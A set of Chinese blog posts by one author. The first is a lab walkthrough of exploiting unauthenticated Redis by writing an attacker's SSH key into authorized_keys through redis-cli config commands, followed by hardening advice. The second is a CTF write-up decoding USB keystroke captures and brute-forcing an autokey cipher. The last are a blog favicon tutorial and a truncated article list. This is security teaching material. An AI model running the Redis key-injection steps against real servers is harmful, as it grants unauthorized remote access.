Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379。如果没有采取相关的安全策略,比如添加防火墙规则、避免其他非信任来源IP访问等,这样会使Redis服务完全暴露在公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在访问目标服务器时,可以在未授权的情况下访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行文件的读写等操作。攻击者可以成功地将自己的ssh公钥写入到目标服务器的 /root/.ssh文件夹下的authotrized_keys文件中,进而可以使用对应地私钥直接使用ssh服务登录目标服务器。 简单来讲,我们可以将漏洞的产生归结为两点: redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则、避免其他非信任来源IP访问等相关安全策略,直接暴露在公网上 没有设置密码认证(一般为空),可以免密码远程登录redis服务 漏洞可能产生的危害: 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以通过恶意执行flushall来清空所有数据 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件 如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害者服务器 既然我们已经知道了攻击手法,那么我们该如何实现这一漏洞的利用呢? Redis未授权访问漏洞的利用 环境准备 两台主机(这里我选择的是两台虚拟机,一台用的是Ubuntu,一台用的是Kali Linux) redis-3.2.11.tar.gz 一、 安装redis服务 1. 从官网下载redis源码的压缩包 wget http://download.redis.io/releases/redis-3.2.11.tar.gz 2. 下载完成后,解压压缩包 tar xzf redis-3.2.11.tar.gz 3. 然后进入解压后的目录:cd redis-3.2.11,输入make并执行 出现如下即编译成功: 4. make结束后,进入src目录:cd src,将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了) 你可能会碰到如下问题: python@ubuntu:~/Desktop/redis-3.2.11/src$ sudo cp redis-server /usr/bin/ cp: 无法创建普通文件'/usr/bin/redis-server': 文本文件忙 这个时候你先去检查/usr/bin目录下是否已经存在redis-server,如果不存在的话,我们选择停止服务: python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-cli -h 127.0.0.1 -p 6379 shutdown 或者直接杀死进程就好了: python@ubuntu:~/Desktop/redis-3.2.11/src$ sudo kill -9 PID 我们再启动服务就好了~ python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-server 此时我们再检查下/usr/bin目录下是否有redis-cli和redis-server: python@ubuntu:~$ ls /usr/bin | grep redis 5. 返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下 python@ubuntu:~/Desktop/redis-3.2.11$ sudo cp redis.conf /etc/ 6. 编辑etc中的redis配置文件redis.conf python@ubuntu:~/Desktop/redis-3.2.11$ vim /etc/redis.conf 去掉ip绑定,允许除本地外的主机远程登录redis服务: 关闭保护模式,允许远程连接redis服务: 7. 使用/etc/目录下的redis.conf文件中的配置启动redis服务 root@kali:~/桌面/redis-3.2.11# redis-server /etc/redis.conf 这里我又踩了一个大坑,我遇到了这样一个问题: python@ubuntu:~/Desktop/redis-3.2.11/src$ redis-server /etc/redis.conf *** FATAL CONFIG FILE ERROR *** Reading the configuration file, at line 80 >>> 'protected-mode no' Bad directive or wrong number of arguments 这个问题困扰了我很久,后面惊奇的发现,是因为redis.conf和当前版本的redis不匹配造成的问题,当前Ubuntu的Redis版本是3.0.6,而redis.conf的版本是3.2.11,后面才知道是因为我Ubuntu里面已经装过Redis造成的,解决方法如下: 卸载老版本redis-server: sudo apt-get remove redis-server 由于之前已经下载了redis-3.2.11的版本,所以我们直接make就好了,照着上面的步骤重新来一遍就OK了。 我们可以看到,版本对应上去了,都是3.2.11,也能够完成reids.conf文件中的配置启动redis服务。 二、安装ssh服务 由于Ubuntu和Kali Linux已经安装有ssh服务,但默认没有启动,需使用systemctl start sshd命令启动ssh服务。 那么我们该怎么确定有没有安装ssh服务呢?你尝试一下service sshd start命令: fauked to start sshd.service: Unit sshd.service not found 如果出现上述结果时,说明你的虚拟机没有安装ssh服务,此时你需要运行以下命令安装ssh服务: sudo apt-get install openssh-server 再次运行以下命令确认ssh服务是否开启: ps -e | ssh 最后显示:3228 ? 00:00:00 sshd说明ssh服务器已启用 我们让这两台虚拟主机配置相同的Redis环境,一台作为受害者的靶机,一台作为攻击者的主机。 至此,我们已经成功搭建完成了漏洞利用的环境,此时的redis服务是可以以root用户身份远程免密码登录的。 三、复现漏洞利用场景 1. 我们先通过ifconfig测试一下两台主机的IP地址 我们可以看到,Ubuntu的IP地址是192.168.152.133,Kali Linux的IP地址是192.168.152.131,所以我们不需要修改任何东西,但如果IP地址相同,我们修改其中一台虚拟机的IP: ifconfig 网卡名称(比如ens33) 我们要修改成的IP地址(比如192.168.152.135) up 我们必须保证两台主机能够相互ping通 2. 我们假设,Ubuntu为虚拟机A,Kali Linux为虚拟机B。虚拟机A(192.168.152.133)为受害者的主机,虚拟机B(192.168.152.131)为攻击者的主机 3. 在A中开启redis服务:redis-server /etc/redis.conf 4. 新开一个终端,在主机A中执行mkdir /root/.ssh命令,创建ssh公钥存放目录(A是作为ssh服务器使用的) 5. 在B中生成ssh公钥和私钥,密码设置为空 6. 进入.ssh目录:cd .ssh/,将生成的公钥保存到kitty.txt root@kali:~/.ssh# (echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > kitty.txt 7. 将kitty.txt写入redis(使用redis-cli -h IP命令连接主机A,将文件写入) root@kali:~/.ssh# cat kitty.txt | redis-cli -h 192.168.152.133 -x set crack OK 8. 远程登录主机A的redis服务:redis-cli -h 192.168.0.146并使用config get dir命令得到redis备份的路径 root@kali:~/.ssh# redis-cli -h 192.168.152.133 192.168.152.133:6379> config get dir 1) "dir" 2) "/home/python/.ssh" 9. 更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh,这里我没有登录root用户,我登录的用户名是python,所以Ubuntu的默认路径是/home/python/.ssh,所以不需要更改) 10. 设置上传公钥的备份文件名字为authorized_keys 192.168.152.133:6379> config set dbfilename authorized_keys OK 11. 检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此,我们成功地写入ssh公钥到靶机上 192.168.152.133:6379> config get dbfilename 1) "dbfilename" 2) "authorized_keys" 192.168.152.133:6379> save OK 192.168.152.133:6379> exit 12. 开启主机A和主机B的ssh服务(Fedor默认ssh服务关闭),命令为systemctl start sshd.service 13. 在主机B使用ssh免密登录主机A root@kali:~/.ssh# ssh -i id_rsa python@192.168.152.133 很明显,我们已经登录成功了!至此,我们成功地利用redis未授权访问漏洞实现了ssh免密登录到目标服务器上。 Redis未授权访问漏洞的防护 禁止远程使用一些高危命令 我们可以通过修改redis.conf文件来禁用远程修改DB文件地址 rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" 低权限运行Redis服务 为Redis服务创建单独的user和home目录,并且配置禁止登陆 groupadd -r redis && useradd -r -g redis redis 为Redis添加密码验证 我们可以通过修改redis.conf文件来为Redis添加密码验证 requirepass mypassword 禁止外网访问 Redis 我们可以通过修改redis.conf文件来使得Redis服务只在当前主机可用 bind 127.0.0.1 保证authorized_keys文件的安全 为了保证安全,您应该阻止其他用户添加新的公钥。将authorized_keys的权限设置为对拥有者只读,其他用户没有任何权限 chmod 400 ~/.ssh/authorized_keys 为保证authorized_keys的权限不会被改掉,您还需要设置该文件的immutable位权限 chattr +i ~/.ssh/authorized_keys 然而,用户还可以重命名~/.ssh,然后新建新的~/.ssh目录和authorized_keys文件。要避免这种情况,需要设置~./ssh的immutable位权限 chattr +i ~/.ssh 如果需要添加新的公钥,需要移除authorized_keys的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上immutable位权限 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!
0x01 问题提出 在一次演练中,我们通过wireshark抓取了一个如下的数据包,我们如何对其进行分析? 0x02 问题分析 流量包是如何捕获的? 首先我们从上面的数据包分析可以知道,这是个USB的流量包,我们可以先尝试分析一下USB的数据包是如何捕获的。 在开始前,我们先介绍一些USB的基础知识。USB有不同的规格,以下是使用USB的三种方式: l USB UART l USB HID l USB Memory UART或者Universal Asynchronous Receiver/Transmitter。这种方式下,设备只是简单的将USB用于接受和发射数据,除此之外就再没有其他通讯功能了。 HID是人性化的接口。这一类通讯适用于交互式,有这种功能的设备有:键盘,鼠标,游戏手柄和数字显示设备。 最后是USB Memory,或者说是数据存储。External HDD, thumb drive / flash drive,等都是这一类的。 其中使用的最广的不是USB HID 就是USB Memory了。 每一个USB设备(尤其是HID或者Memory)都有一个供应商ID(Vendor Id)和产品识别码(Product Id)。Vendor Id是用来标记哪个厂商生产了这个USB设备。Product Id用来标记不同的产品,他并不是一个特殊的数字,当然最好不同。如下图 上图是我在虚拟机环境下连接在我电脑上的USB设备列表,通过lsusb查看命令。 例如说,我在VMware下有一个无线鼠标。它是属于HID设备。这个设备正常的运行,并且通过lsusb这个命令查看所有USB设备,现在大家能找出哪一条是这个鼠标吗??没有错,就是第四个,就是下面这条: Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse 其中,ID 0e0f:0003就是Vendor-Product Id对,Vendor Id的值是0e0f,并且Product Id的值是0003。Bus 002 Device 002代表usb设备正常连接,这点需要记下来。 我们用root权限运行Wireshark捕获USB数据流。但是通常来说我们不建议这么做。我们需要给用户足够的权限来获取linux中的usb数据流。我们可以用udev来达到我们的目的。我们需要创建一个用户组usbmon,然后把我们的账户添加到这个组中。 addgroup usbmon gpasswd -a $USER usbmon echo 'SUBSYSTEM=="usbmon", GROUP="usbmon", MODE="640"' > /etc/udev/rules.d/99-usbmon.rules 接下来,我们需要usbmon内核模块。如果该模块没有被加载,我们可以通过以下命令加载该模块: modprobe usbmon 打开wireshark,你会看到usbmonX其中X代表数字。下图是我们本次的结果(我使用的是root): 如果接口处于活跃状态或者有数据流经过的时候,wireshark的界面就会把它以波形图的方式显示出来。那么,我们该选那个呢?没有错,就是我刚刚让大家记下来的,这个X的数字就是对应这USB Bus。在本文中是usbmon0。打开他就可以观察数据包了。 通过这些,我们可以了解到usb设备与主机之间的通信过程和工作原理,我们可以来对流量包进行分析了。 如何去分析一个USB流量包? 根据前面的知识铺垫,我们大致对USB流量包的抓取有了一个轮廓了,下面我们介绍一下如何分析一个USB流量包。 USB协议的细节方面参考wireshark的wiki:https://wiki.wireshark.org/USB 我们先拿GitHub上一个简单的例子开始讲起: 我们分析可以知道,USB协议的数据部分在Leftover Capture Data域之中,在Mac和Linux下可以用tshark命令可以将 leftover capture data单独提取出来,命令如下: tshark -r example.pcap -T fields -e usb.capdata //如果想导入usbdata.txt文件中,后面加上参数:>usbdata.txt Windows下装了wireshark的环境下,在wireshark目录下有个tshark.exe,比如我的在D:\Program Files\Wireshark\tshark.exe 调用cmd,定位到当前目录下,输入如下命令即可: tshark.exe -r example.pcap -T fields -e usb.capdata //如果想导入usbdata.txt文件中,后面加上参数:>usbdata.txt 有关tshark命令的详细使用参考wireshark官方文档:https://www.wireshark.org/docs/man-pages/tshark.html 运行命令并查看usbdata.txt发现数据包长度为八个字节 关于USB的特点应用我找了一张图,很清楚的反应了这个问题: 这里我们只关注USB流量中的键盘流量和鼠标流量。 键盘数据包的数据长度为8个字节,击键信息集中在第3个字节,每次key stroke都会产生一个keyboard event usb packet。 鼠标数据包的数据长度为4个字节,第一个字节代表按键,当取0x00时,代表没有按键、为0x01时,代表按左键,为0x02时,代表当前按键为右键。第二个字节可以看成是一个signed byte类型,其最高位为符号位,当这个值为正时,代表鼠标水平右移多少像素,为负时,代表水平左移多少像素。第三个字节与第二字节类似,代表垂直上下移动的偏移。 我翻阅了大量的USB协议的文档,在这里我们可以找到这个值与具体键位的对应关系:http://www.usb.org/developers/hidpage/Hut1_12v2.pdf usb keyboard的映射表 根据这个映射表将第三个字节取出来,对应对照表得到解码: 我们写出如下脚本: mappings = { 0x04:"A", 0x05:"B", 0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G", 0x0B:"H", 0x0C:"I", 0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O", 0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5", 0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"n", 0x2a:"[DEL]", 0X2B:" ", 0x2C:" ", 0x2D:"-", 0x2E:"=", 0x2F:"[", 0x30:"]", 0x31:"\\", 0x32:"~", 0x33:";", 0x34:"'", 0x36:",", 0x37:"." } nums = [] keys = open('usbdata.txt') for line in keys: if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0': continue nums.append(int(line[6:8],16)) # 00:00:xx:.... keys.close() output = "" for n in nums: if n == 0 : continue if n in mappings: output += mappings[n] else: output += '[unknown]' print('output :n' + output) 结果如下: 我们把前面的整合成脚本,得: #!/usr/bin/env python import sys import os DataFileName = "usb.dat" presses = [] normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"} shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"} def main(): # check argv if len(sys.argv) != 2: print "Usage : " print " python UsbKeyboardHacker.py data.pcap" print "Tips : " print " To use this python script , you must install the tshark first." print " You can use `sudo apt-get install tshark` to install it" print "Author : " print " Angel_Kitty <angelkitty6698@gmail.com>" print " If you have any questions , please contact me by email." print " Thank you for using." exit(1) # get argv pcapFilePath = sys.argv[1] # get data of pcap os.system("tshark -r %s -T fields -e usb.capdata > %s" % (pcapFilePath, DataFileName)) # read data with open(DataFileName, "r") as f: for line in f: presses.append(line[0:-1]) # handle result = "" for press in presses: Bytes = press.split(":") if Bytes[0] == "00": if Bytes[2] != "00": result += normalKeys[Bytes[2]] elif Bytes[0] == "20": # shift key is pressed. if Bytes[2] != "00": result += shiftKeys[Bytes[2]] else: print "[-] Unknow Key : %s" % (Bytes[0]) print "[+] Found : %s" % (result) # clean the temp data os.system("rm ./%s" % (DataFileName)) if __name__ == "__main__": main() 效果如下: 另外贴上一份鼠标流量数据包转换脚本: nums = [] keys = open('usbdata.txt','r') posx = 0 posy = 0 for line in keys: if len(line) != 12 : continue x = int(line[3:5],16) y = int(line[6:8],16) if x > 127 : x -= 256 if y > 127 : y -= 256 posx += x posy += y btn_flag = int(line[0:2],16) # 1 for left , 2 for right , 0 for nothing if btn_flag == 1 : print posx , posy keys.close() 键盘流量数据包转换脚本如下: nums=[0x66,0x30,0x39,0x65,0x35,0x34,0x63,0x31,0x62,0x61,0x64,0x32,0x78,0x33,0x38,0x6d,0x76,0x79,0x67,0x37,0x77,0x7a,0x6c,0x73,0x75,0x68,0x6b,0x69,0x6a,0x6e,0x6f,0x70] s='' for x in nums: s+=chr(x) print s mappings = { 0x41:"A", 0x42:"B", 0x43:"C", 0x44:"D", 0x45:"E", 0x46:"F", 0x47:"G", 0x48:"H", 0x49:"I", 0x4a:"J", 0x4b:"K", 0x4c:"L", 0x4d:"M", 0x4e:"N",0x4f:"O", 0x50:"P", 0x51:"Q", 0x52:"R", 0x53:"S", 0x54:"T", 0x55:"U",0x56:"V", 0x57:"W", 0x58:"X", 0x59:"Y", 0x5a:"Z", 0x60:"0", 0x61:"1", 0x62:"2", 0x63:"3", 0x64:"4", 0x65:"5", 0x66:"6", 0x67:"7", 0x68:"8", 0x69:"9", 0x6a:"*", 0x6b:"+", 0X6c:"separator", 0x6d:"-", 0x6e:".", 0x6f:"/" } output = "" for n in nums: if n == 0 : continue if n in mappings: output += mappings[n] else: output += '[unknown]' print 'output :\n' + output 上面这个例子的项目链接如下:https://files.cnblogs.com/files/ECJTUACM-873284962/UsbKeyboardDataHacker.rar 那么对于我们开篇提到的问题,我们可以模仿尝试如上这个例子: 首先我们通过tshark将usb.capdata全部导出: tshark -r task_AutoKey.pcapng -T fields -e usb.capdata //如果想导入usbdata.txt文件中,后面加上参数:>usbdata.txt 我们用上面的python脚本将第三个字节取出来,对应对照表得到解码: mappings = { 0x04:"A", 0x05:"B", 0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G", 0x0B:"H", 0x0C:"I", 0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O", 0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5", 0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"n", 0x2a:"[DEL]", 0X2B:" ", 0x2C:" ", 0x2D:"-", 0x2E:"=", 0x2F:"[", 0x30:"]", 0x31:"\\", 0x32:"~", 0x33:";", 0x34:"'", 0x36:",", 0x37:"." } nums = [] keys = open('usbdata.txt') for line in keys: if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0': continue nums.append(int(line[6:8],16)) # 00:00:xx:.... keys.close() output = "" for n in nums: if n == 0 : continue if n in mappings: output += mappings[n] else: output += '[unknown]' print('output :n' + output) 运行结果如下: output :n[unknown]A[unknown]UTOKEY''.DECIPHER'[unknown]MPLRVFFCZEYOUJFJKYBXGZVDGQAURKXZOLKOLVTUFBLRNJESQITWAHXNSIJXPNMPLSHCJBTYHZEALOGVIAAISSPLFHLFSWFEHJNCRWHTINSMAMBVEXO[DEL]PZE[DEL]IZ' 我们可以看出这是自动密匙解码,现在的问题是在我们不知道密钥的情况下应该如何解码呢? 我找到了如下这篇关于如何爆破密匙:http://www.practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-autokey-cipher/ 爆破脚本如下: from ngram_score import ngram_score from pycipher import Autokey import re from itertools import permutations qgram = ngram_score('quadgrams.txt') trigram = ngram_score('trigrams.txt') ctext = 'MPLRVFFCZEYOUJFJKYBXGZVDGQAURKXZOLKOLVTUFBLRNJESQITWAHXNSIJXPNMPLSHCJBTYHZEALOGVIAAISSPLFHLFSWFEHJNCRWHTINSMAMBVEXPZIZ' ctext = re.sub(r'[^A-Z]','',ctext.upper()) # keep a list of the N best things we have seen, discard anything else class nbest(object): def __init__(self,N=1000): self.store = [] self.N = N def add(self,item): self.store.append(item) self.store.sort(reverse=True) self.store = self.store[:self.N] def __getitem__(self,k): return self.store[k] def __len__(self): return len(self.store) #init N=100 for KLEN in range(3,20): rec = nbest(N) for i in permutations('ABCDEFGHIJKLMNOPQRSTUVWXYZ',3): key = ''.join(i) + 'A'*(KLEN-len(i)) pt = Autokey(key).decipher(ctext) score = 0 for j in range(0,len(ctext),KLEN): score += trigram.score(pt[j:j+3]) rec.add((score,''.join(i),pt[:30])) next_rec = nbest(N) for i in range(0,KLEN-3): for k in xrange(N): for c in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ': key = rec[k][1] + c fullkey = key + 'A'*(KLEN-len(key)) pt = Autokey(fullkey).decipher(ctext) score = 0 for j in range(0,len(ctext),KLEN): score += qgram.score(pt[j:j+len(key)]) next_rec.add((score,key,pt[:30])) rec = next_rec next_rec = nbest(N) bestkey = rec[0][1] pt = Autokey(bestkey).decipher(ctext) bestscore = qgram.score(pt) for i in range(N): pt = Autokey(rec[i][1]).decipher(ctext) score = qgram.score(pt) if score > bestscore: bestkey = rec[i][1] bestscore = score print bestscore,'autokey, klen',KLEN,':"'+bestkey+'",',Autokey(bestkey).decipher(ctext) 跑出来的结果如下: 我们看到了flag的字样,整理可得如下: -674.914569565 autokey, klen 8 :"FLAGHERE", HELLOBOYSANDGIRLSYOUARESOSMARTTHATYOUCANFINDTHEFLAGTHATIHIDEINTHEKEYBOARDPACKAGEFLAGISJHAWLZKEWXHNCDHSLWBAQJTUQZDXZQPF 我们把字段进行分割看: HELLO BOYS AND GIRLS YOU ARE SO SMART THAT YOU CAN FIND THE FLAG THAT IH IDE IN THE KEY BOARD PACKAGE FLAG IS JHAWLZKEWXHNCDHSLWBAQJTUQZDXZQPF 最后的flag就是flag{JHAWLZKEWXHNCDHSLWBAQJTUQZDXZQPF} 0x03 资源下载 本文涉及到的所有项目链接全部放在Github上: https://github.com/AngelKitty/UsbKeyboardDataHacker 0x04 扩展阅读 https://blog.csdn.net/songze_lee/article/details/77658094 https://wiki.wireshark.org/USB http://www.usb.org/developers/hidpage/Hut1_12v2.pdf https://www.wireshark.org/docs/man-pages/tshark.html http://www.practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-autokey-cipher/ https://hackfun.org/2017/02/22/CTF%E4%B8%AD%E9%82%A3%E4%BA%9B%E8%84%91%E6%B4%9E%E5%A4%A7%E5%BC%80%E7%9A%84%E7%BC%96%E7%A0%81%E5%92%8C%E5%8A%A0%E5%AF%86/ 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!
全网最全的博客美化系列教程相关文章目录 【全网最全的博客美化系列教程】01.添加Github项目链接 【全网最全的博客美化系列教程】02.添加QQ交谈链接 【全网最全的博客美化系列教程】03.给博客添加一只萌萌哒的小仓鼠 【全网最全的博客美化系列教程】04.访客量统计的实现 【全网最全的博客美化系列教程】05.公告栏个性时间显示的实现 【全网最全的博客美化系列教程】06.推荐和反对炫酷样式的实现 【全网最全的博客美化系列教程】07.添加一个分享的按钮吧 【全网最全的博客美化系列教程】08.自定义地址栏Logo 【全网最全的博客美化系列教程】09.添加"扩大/缩小浏览区域大小" 按钮 【全网最全的博客美化系列教程】10.小火箭置顶特效的实现 【全网最全的博客美化系列教程】11.鼠标点击爱心特效的实现 【全网最全的博客美化系列教程】12.修改鼠标图案 【全网最全的博客美化系列教程】13.鼠标点击效果升级的实现 【全网最全的博客美化系列教程】14.代码高亮设置的实现 【全网最全的博客美化系列教程】15.动画幻灯效果的实现 【全网最全的博客美化系列教程】16.给博客添加一个打赏的实现 【全网最全的博客美化系列教程】17.博客背景刷新切换效果的实现 【全网最全的博客美化系列教程】18.数学之美---动态几何线条的实现 【全网最全的博客美化系列教程】19.旋转立方体的实现 【全网最全的博客美化系列教程】20.给博客添加一个萌萌哒的看板娘 【全网最全的博客美化系列教程】21.给博客添加一个夜间模式吧 【全网最全的博客美化系列教程】22.添加一个文章目录特效 【全网最全的博客美化系列教程】23.图片水纹特效的实现 【全网最全的博客美化系列教程】24.给博客增加一个音乐播放器特效 【全网最全的博客美化系列教程】25.给博客增加一个音乐播放器特效 【全网最全的博客美化系列教程】26.评论头像旋转的实现 【全网最全的博客美化系列教程】27.IP地址定位及天气预报的实现 【全网最全的博客美化系列教程】28.3D标签云动画的实现 【全网最全的博客美化系列教程】29.自制HTML源码运行Javascript特效 【全网最全的博客美化系列教程】30.博客文章实现markdown书写机制 【全网最全的博客美化系列教程】31.用Canvas和requestAnimFrame做动画特效 【全网最全的博客美化系列教程】32.公告栏添加自己的头像 【全网最全的博客美化系列教程】33.添加一只舞动的小知音 【全网最全的博客美化系列教程】34.皮肤背景的选择与定制 自定义地址栏Logo 效果如上图所示~ 那么我们如何去自定义地址栏logo呢? 首先,我们得准备一个icon类型的文件~ 首先你得准备一张png或者jpg/jepg的图片,这个时候你可能会想要你的博客头像作为图片,你只需要这样子: 然后保存好了图像之后,上传到在线生成icon的网站:https://tool.lu/favicon/ 上传成功后点击下载icon图标 进入自己的博客后台管理->文件->选择文件->上传,然后点击已上传的文件,copy这个文件的网络地址 比如这是我的地址:https://files.cnblogs.com/files/ECJTUACM-873284962/favicon.ico 然后再进入自己的博客园->设置,将以下JavaScript代码添加到“页脚Html代码” <script type="text/javascript" language="javascript"> //Setting ico for cnblogs var linkObject = document.createElement('link'); linkObject.rel = "shortcut icon"; linkObject.href = "https://files.cnblogs.com/files/ECJTUACM-873284962/favicon.ico"; document.getElementsByTagName("head")[0].appendChild(linkObject); </script> 将href种的地址路径替换成你自己的就好了~ 保存设置后,刷新页面,就会看到地址栏的图标变了: 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!
全网最全的博客美化系列教程相关文章目录 【全网最全的博客美化系列教程】01.添加Github项目链接 【全网最全的博客美化系列教程】02.添加QQ交谈链接 【全网最全的博客美化系列教程】03.给博客添加一只萌萌哒的小仓鼠 【全网最全的博客美化系列教程】04.访客量统计的实现 【全网最全的博客美化系列教程】05.公告栏个性时间显示的实现 【全网最全的博客美化系列教程】06.推荐和反对炫酷样式的实现 【全网最全的博客美化系列教程】07.添加一个分享的按钮吧 【全网最全的博客美化系列教程】08.自定义地址栏Logo 【全网最全的博客美化系列教程】09.添加"扩大/缩小浏览区域大小" 按钮 【全网最全的博客美化系列教程】10.小火箭置顶特效的实现 【全网最全的博客美化系列教程】11.鼠标点击爱心特效的实现 【全网最全的博客美化系列教程】12.修改鼠标图案 【全网最全的博客美化系列教程】13.鼠标点击效果升级的实现 【全网最全的博客美化系列教程】14.代码高亮设置的实现 【全网最全的博客美化系列教程】15.动画幻灯效果的实现 【全网最全的博客美化系列教程】16.给博客添加一个打赏的实现 【全网最全的博客美化系列教程】17.博客背景刷新切换效果的实现 【全网最全的博客美化系列教程】18.数学之美---动态几何线条的实现 【全网最全的博客美化系列教程】19.旋转立方体的实现 【全网最全的博客美化系列教程】20.给博客添加一个萌萌哒的看板娘 【全网最全的博客美化系列教程】21.给博客添加一个夜间模式吧 【全网最全的博客美化系列教程】22.添加一个文章目录特效 【全网最全的博客美化系列教程】23.图片水纹特效的实现 【全网最全的博客美化系列教程】24.给博客增加一个音乐播放器特效 【全网最全的博客美化系列教程】25.给博客增加一个音乐播放器特效 【全网最全的博客美化系列教程】26.评论头像旋转的实现 【全网最全的博客美化系列教程】27.IP地址定位及天气预报的实现 【全网最全的博客美化系列教程】28.3D标签云动画的实现 【全网最全的博客美化系列教程】29.自制HTML源码运行Javascript特效 【全网最全的博客美化系列教程】30.博客文章实现markdown书写机制 【全网最全的博客美化系列教程】31.用Canvas和requestAnimFrame做动画特效 【全网最全的博客美化系列教程】32.公告栏添加自己的头像 